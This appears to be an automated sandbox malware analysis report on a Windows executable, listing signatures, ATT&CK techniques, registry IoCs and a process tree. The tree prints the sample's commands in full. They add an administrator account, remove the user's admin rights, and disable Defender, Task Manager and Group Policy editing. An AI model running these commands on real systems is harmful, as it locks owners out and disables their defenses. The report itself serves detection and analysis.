974cb763c5670a8c187c5e7108964741b8c59590ac35f3bdccb2e069e2ec7506

Analysis

max time kernel
115s
max time network
118s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
05/01/2025, 23:26

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Lose2himatoV2.exe
Size

138.5MB
MD5

b13b58171063faf469d7cffd178644a6
SHA1

0cc178b5db25710be4181e0f15b70ca8c3049ef2
SHA256

974cb763c5670a8c187c5e7108964741b8c59590ac35f3bdccb2e069e2ec7506
SHA512

511d96d59fc5646aead6f0bf16ecbe9f9e1ab60e05954b02d2b53c7686df2ccfe85374388fc5aece04e50bd37ff3411319c7107d52cc33c3af819fb47ab570e3
SSDEEP

786432:Y93oFjO6NbbB6uTE/kbsV0jmB/gWD4otJ0njnEMIQAhpLoMS/QVQfmLh0VPdTtLH:Y9SjOsbbUng40ihpEX/QVQfmLmxHXutU

Score

9^/10

paypal defense_evasion discovery evasion phishing ransomware

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Disables Task Manager via registry modification
evasion

Indicator Removal: Network Share Connection Removal 1 TTPs 1 IoCs

Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.

defense_evasion

Network Share Connection Removal

T1070.005

pid	Process
4356	cmd.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	Lose2himatoV2.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
39	discord.com
42	discord.com

Detected potential entity reuse from brand PAYPAL.
phishing paypal

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\MySingleFileApp\\wallpaper.bmp"	Lose2himatoV2.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Location Discovery: System Language Discovery 1 TTPs 29 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	shutdown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Lose2himatoV2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "226"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-4089630652-1596403869-279772308-1000\{EC4BDF93-A323-4999-9D52-1F966D98392F}	msedge.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
5108	msedge.exe
2208	msedge.exe
2208	msedge.exe
5108	msedge.exe
940	msedge.exe
940	msedge.exe
1828	msedge.exe
1828	msedge.exe
4376	msedge.exe
4376	msedge.exe
5688	identity_helper.exe
5688	identity_helper.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 16 IoCs

pid	Process
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: 33	5576	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	5576	AUDIODG.EXE
Token: SeShutdownPrivilege	4852	shutdown.exe
Token: SeRemoteShutdownPrivilege	4852	shutdown.exe

Suspicious use of FindShellTrayWindow 42 IoCs

pid	Process
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe

Suspicious use of SendNotifyMessage 40 IoCs

pid	Process
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe
940	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
60	LogonUI.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3828 wrote to memory of 4980	3828	Lose2himatoV2.exe	82
PID 3828 wrote to memory of 4980	3828	Lose2himatoV2.exe	82
PID 3828 wrote to memory of 4980	3828	Lose2himatoV2.exe	82
PID 3828 wrote to memory of 2716	3828	Lose2himatoV2.exe	84
PID 3828 wrote to memory of 2716	3828	Lose2himatoV2.exe	84
PID 3828 wrote to memory of 2716	3828	Lose2himatoV2.exe	84
PID 3828 wrote to memory of 4556	3828	Lose2himatoV2.exe	85
PID 3828 wrote to memory of 4556	3828	Lose2himatoV2.exe	85
PID 3828 wrote to memory of 4556	3828	Lose2himatoV2.exe	85
PID 3828 wrote to memory of 4356	3828	Lose2himatoV2.exe	88
PID 3828 wrote to memory of 4356	3828	Lose2himatoV2.exe	88
PID 3828 wrote to memory of 4356	3828	Lose2himatoV2.exe	88
PID 4980 wrote to memory of 1232	4980	cmd.exe	89
PID 4980 wrote to memory of 1232	4980	cmd.exe	89
PID 4980 wrote to memory of 1232	4980	cmd.exe	89
PID 1232 wrote to memory of 4756	1232	net.exe	90
PID 1232 wrote to memory of 4756	1232	net.exe	90
PID 1232 wrote to memory of 4756	1232	net.exe	90
PID 3828 wrote to memory of 2040	3828	Lose2himatoV2.exe	91
PID 3828 wrote to memory of 2040	3828	Lose2himatoV2.exe	91
PID 3828 wrote to memory of 2040	3828	Lose2himatoV2.exe	91
PID 3828 wrote to memory of 760	3828	Lose2himatoV2.exe	94
PID 3828 wrote to memory of 760	3828	Lose2himatoV2.exe	94
PID 3828 wrote to memory of 760	3828	Lose2himatoV2.exe	94
PID 2716 wrote to memory of 2112	2716	cmd.exe	95
PID 2716 wrote to memory of 2112	2716	cmd.exe	95
PID 2716 wrote to memory of 2112	2716	cmd.exe	95
PID 4356 wrote to memory of 232	4356	cmd.exe	96
PID 4356 wrote to memory of 232	4356	cmd.exe	96
PID 4356 wrote to memory of 232	4356	cmd.exe	96
PID 4556 wrote to memory of 3164	4556	cmd.exe	97
PID 4556 wrote to memory of 3164	4556	cmd.exe	97
PID 4556 wrote to memory of 3164	4556	cmd.exe	97
PID 3164 wrote to memory of 1028	3164	net.exe	98
PID 3164 wrote to memory of 1028	3164	net.exe	98
PID 3164 wrote to memory of 1028	3164	net.exe	98
PID 232 wrote to memory of 4780	232	net.exe	99
PID 232 wrote to memory of 4780	232	net.exe	99
PID 232 wrote to memory of 4780	232	net.exe	99
PID 2112 wrote to memory of 4836	2112	net.exe	100
PID 2112 wrote to memory of 4836	2112	net.exe	100
PID 2112 wrote to memory of 4836	2112	net.exe	100
PID 2040 wrote to memory of 4680	2040	cmd.exe	101
PID 2040 wrote to memory of 4680	2040	cmd.exe	101
PID 2040 wrote to memory of 4680	2040	cmd.exe	101
PID 3828 wrote to memory of 3908	3828	Lose2himatoV2.exe	111
PID 3828 wrote to memory of 3908	3828	Lose2himatoV2.exe	111
PID 3828 wrote to memory of 3908	3828	Lose2himatoV2.exe	111
PID 3828 wrote to memory of 2328	3828	Lose2himatoV2.exe	113
PID 3828 wrote to memory of 2328	3828	Lose2himatoV2.exe	113
PID 3828 wrote to memory of 2328	3828	Lose2himatoV2.exe	113
PID 3908 wrote to memory of 1972	3908	cmd.exe	115
PID 3908 wrote to memory of 1972	3908	cmd.exe	115
PID 3908 wrote to memory of 1972	3908	cmd.exe	115
PID 3828 wrote to memory of 2144	3828	Lose2himatoV2.exe	116
PID 3828 wrote to memory of 2144	3828	Lose2himatoV2.exe	116
PID 3828 wrote to memory of 2144	3828	Lose2himatoV2.exe	116
PID 3828 wrote to memory of 5036	3828	Lose2himatoV2.exe	117
PID 3828 wrote to memory of 5036	3828	Lose2himatoV2.exe	117
PID 3828 wrote to memory of 5036	3828	Lose2himatoV2.exe	117
PID 2328 wrote to memory of 2204	2328	cmd.exe	120
PID 2328 wrote to memory of 2204	2328	cmd.exe	120
PID 2328 wrote to memory of 2204	2328	cmd.exe	120
PID 2144 wrote to memory of 2752	2144	cmd.exe	121

C:\Users\Admin\AppData\Local\Temp\Lose2himatoV2.exe
"C:\Users\Admin\AppData\Local\Temp\Lose2himatoV2.exe"
1⤵
- Checks computer location settings
- Sets desktop wallpaper using registry
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3828
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user Lose2himato /add
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4980
- - C:\Windows\SysWOW64\net.exe
    net user Lose2himato /add
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1232
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user Lose2himato /add
      4⤵
      System Location Discovery: System Language Discovery
      PID:4756
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net user Lose2himato dumbass
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2716
- - C:\Windows\SysWOW64\net.exe
    net user Lose2himato dumbass
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2112
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user Lose2himato dumbass
      4⤵
      System Location Discovery: System Language Discovery
      PID:4836
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net localgroup Administrators "Lose2himato" /add
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4556
- - C:\Windows\SysWOW64\net.exe
    net localgroup Administrators "Lose2himato" /add
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3164
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "Lose2himato" /add
      4⤵
      System Location Discovery: System Language Discovery
      PID:1028
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net localgroup Administrators "%USERNAME%" /delete
  2⤵
  - Indicator Removal: Network Share Connection Removal
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4356
- - C:\Windows\SysWOW64\net.exe
    net localgroup Administrators "Admin" /delete
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:232
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "Admin" /delete
      4⤵
      System Location Discovery: System Language Discovery
      PID:4780
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Microsoft Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2040
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Microsoft Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4680
- C:\Windows\SysWOW64\explorer.exe
  "explorer.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  PID:760
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\MySingleFileApp\wallpaper.bmp /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3908
- - C:\Windows\SysWOW64\reg.exe
    REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\MySingleFileApp\wallpaper.bmp /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1972
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v WallpaperStyle /t REG_SZ /d 3 /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2328
- - C:\Windows\SysWOW64\reg.exe
    REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v WallpaperStyle /t REG_SZ /d 3 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2204
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2144
- - C:\Windows\SysWOW64\reg.exe
    REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2752
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableGpedit /t REG_DWORD /d 1 /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5036
- - C:\Windows\SysWOW64\reg.exe
    REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableGpedit /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3048
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c start https://x.com/Lose2hxm4to
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3736
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://x.com/Lose2hxm4to
    3⤵
    PID:2024
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7fff658946f8,0x7fff65894708,0x7fff65894718
      4⤵
      PID:3752
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2168,3676407379898323607,16134566481349838870,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2180 /prefetch:2
      4⤵
      PID:2400
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2168,3676407379898323607,16134566481349838870,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2240 /prefetch:3
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2208
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c start https://discord.gg/UkEYppsAck
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1040
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://discord.gg/UkEYppsAck
    3⤵
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:940
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7fff658946f8,0x7fff65894708,0x7fff65894718
      4⤵
      PID:3164
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2072 /prefetch:2
      4⤵
      PID:1780
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 /prefetch:3
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5108
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2772 /prefetch:8
      4⤵
      PID:4420
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3360 /prefetch:1
      4⤵
      PID:3576
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3368 /prefetch:1
      4⤵
      PID:2708
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3836 /prefetch:1
      4⤵
      PID:5312
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4052 /prefetch:1
      4⤵
      PID:5384
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4992 /prefetch:1
      4⤵
      PID:5820
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5528 /prefetch:1
      4⤵
      PID:6016
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4196 /prefetch:1
      4⤵
      PID:6104
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
